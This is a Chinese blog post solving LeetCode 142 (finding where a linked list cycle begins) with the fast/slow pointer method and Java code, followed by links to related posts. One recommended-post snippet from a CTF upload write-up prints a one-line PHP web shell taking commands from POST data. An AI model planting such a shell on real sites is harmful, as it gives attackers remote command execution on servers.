leetcode 142. Linked List Cycle II 环形链表 II
一、题目大意
https://leetcode.cn/problems/linked-list-cycle-ii/
给定一个链表的头节点  head ,返回链表开始入环的第一个节点。 如果链表无环,则返回 null。
如果链表中有某个节点,可以通过连续跟踪 next 指针再次到达,则链表中存在环。 为了表示给定链表中的环,评测系统内部使用整数 pos 来表示链表尾连接到链表中的位置(索引从 0 开始)。如果 pos 是 -1,则在该链表中没有环。注意:pos 不作为参数进行传递,仅仅是为了标识链表的实际情况。
不允许修改 链表。
示例 1:

输入:head = [3,2,0,-4], pos = 1
输出:返回索引为 1 的链表节点
解释:链表中有一个环,其尾部连接到第二个节点。
示例 2:

输入:head = [1,2], pos = 0
输出:返回索引为 0 的链表节点
解释:链表中有一个环,其尾部连接到第一个节点。
示例 3:

输入:head = [1], pos = -1
输出:返回 null
解释:链表中没有环。
提示:
- 链表中节点的数目范围在范围 [0, 104] 内
 - -105 <= Node.val <= 105
 - pos 的值为 -1 或者链表中的一个有效索引
 
进阶:你是否可以使用 O(1) 空间解决此题?
二、解题思路
找链表环路问题有通用的解法,快慢指针。大概思路就是定义两个指针fast,slow初始都指向链表头,fast每次走2步,slow每次走1步,如果fast可以走到头说明没有环路,如果fast可以无限走下去说明有环路,且一定存在一个时刻fast与slow相遇。当fast和slow第一次相遇时将fast重新移到链表头,并让fast和slow每次都前进1步,当fast和slow再次相遇时的节点就是环路开始的节点。
三、解题方法
3.1 Java实现
public class Solution {
    public ListNode detectCycle(ListNode head) {
        ListNode fast = head;
        ListNode slow = head;
        do {
            if (fast == null || fast.next == null) {
                return null;
            }
            fast = fast.next.next;
            slow = slow.next;
        } while (fast != slow);
        fast = head;
        while (fast != slow) {
            fast = fast.next;
            slow = slow.next;
        }
        return fast;
    }
    static class ListNode {
        int val;
        ListNode next;
        ListNode(int x) {
            val = x;
            next = null;
        }
    }
}
四、总结小记
- 2022/5/19 某一类型问题如果有成熟的解决思路能去解决,就要掌握这种思路,我们要学会站在巨人的肩上成长
 
leetcode 142. Linked List Cycle II 环形链表 II的更多相关文章
- [LeetCode] 142. Linked List Cycle II 链表中的环 II
		
Given a linked list, return the node where the cycle begins. If there is no cycle, return null. Foll ...
 - [LeetCode] 142. Linked List Cycle II 单链表中的环之二
		
Given a linked list, return the node where the cycle begins. If there is no cycle, return null. To r ...
 - (链表 双指针) leetcode 142. Linked List Cycle II
		
Given a linked list, return the node where the cycle begins. If there is no cycle, return null. To r ...
 - Java for LeetCode 142 Linked List Cycle II
		
Given a linked list, return the node where the cycle begins. If there is no cycle, return null. Foll ...
 - [LC]141题 Linked List Cycle (环形链表)(链表)
		
①中文题目 给定一个链表,判断链表中是否有环. 为了表示给定链表中的环,我们使用整数 pos 来表示链表尾连接到链表中的位置(索引从 0 开始). 如果 pos 是 -1,则在该链表中没有环. 示例 ...
 - 【LeetCode】Linked List Cycle II(环形链表 II)
		
这是LeetCode里的第142道题. 题目要求: 给定一个链表,返回链表开始入环的第一个节点. 如果链表无环,则返回 null. 说明:不允许修改给定的链表. 进阶:你是否可以不用额外空间解决此题? ...
 - 142 Linked List Cycle II 环形链表 II
		
给一个链表,返回链表开始入环的第一个节点. 如果链表无环,则返回 null.说明:不应修改给定的链表.补充:你是否可以不用额外空间解决此题?详见:https://leetcode.com/proble ...
 - leetcode 142. Linked List Cycle II
		
Given a linked list, return the node where the cycle begins. If there is no cycle, return null. Note ...
 - leetcode 142. Linked List Cycle II ----- java
		
Given a linked list, return the node where the cycle begins. If there is no cycle, return null. Note ...
 
随机推荐
- 攻防世界upload1
			
upload1 进入环境就一个上传,我们先上传一个普通的木马文件看看 木马内容 <?php @eval($_POST["cmd"]); ?> 估计是前端校验我们查看源码 ...
 - Web Storage相关
			
访问原文地址 概述 DOM存储的机制是通过存储字符串类型的键/值对,来提供一种安全的存取方式.这个附加功能的目标是提供一个全面的,可以用来创建交互式应用程序的方法(包括那些高级功能,例如可以离线工作一 ...
 - Linux 0.11源码阅读笔记-总结
			
总结 Linux 0.11主要包含文件管理和进程管理两个部分.进程管理包括内存管理.进程管理.进程间通信模块.文件管理包含磁盘文件系统,打开文件内存数据.磁盘文件系统包括空闲磁盘块管理,文件数据块的管 ...
 - spring框架Aop学习
 - 用反射实现JavaBean和Map之间的转换
			
学习内容: 需求 由于JavaBean结构与Map类似,我们可以把JavaBean与Map进行转换 代码如下: package com.yy; import java.beans.BeanInfo; ...
 - echarts饼图去除圈外指向横线
			
series: [ { name: '实时人员信息', type: 'pie', radius: ['86%', '80%'], avoidLabelOverlap: false, label: { ...
 - 10. MySQL基础-02条件查询、排序查询
			
2. 条件查询 语法  select 查询列表 from 表名 where 筛选条件: 分类 按条件表达式筛选 简单的条件运算符:> < = != <> >= ⇐ 按逻 ...
 - HCIE-SEC笔记-EVENG模拟器安装
			
EVEng模拟器安装: 准备:Vmware 16.0 EVEng EVE-NG-Win-Client-Pack.exe [抓包,内置wireshark,内置vnc,用来打开windows系统] Win ...
 - android软件简约记账app开发day02-收入支出明细页面绘制
			
android软件简约记账app开发day02-收入支出明细页面绘制 效果图 列表界面绘制 新建layout文件-item_mainlv.xml大体使用绝对布局,嵌套相对布局,嵌套文本内容实现 < ...
 - partOne当堂测试代码
			
/* ScoreInformation类*/public class ScoreInformation { private String stunumber;//学号 private String n ...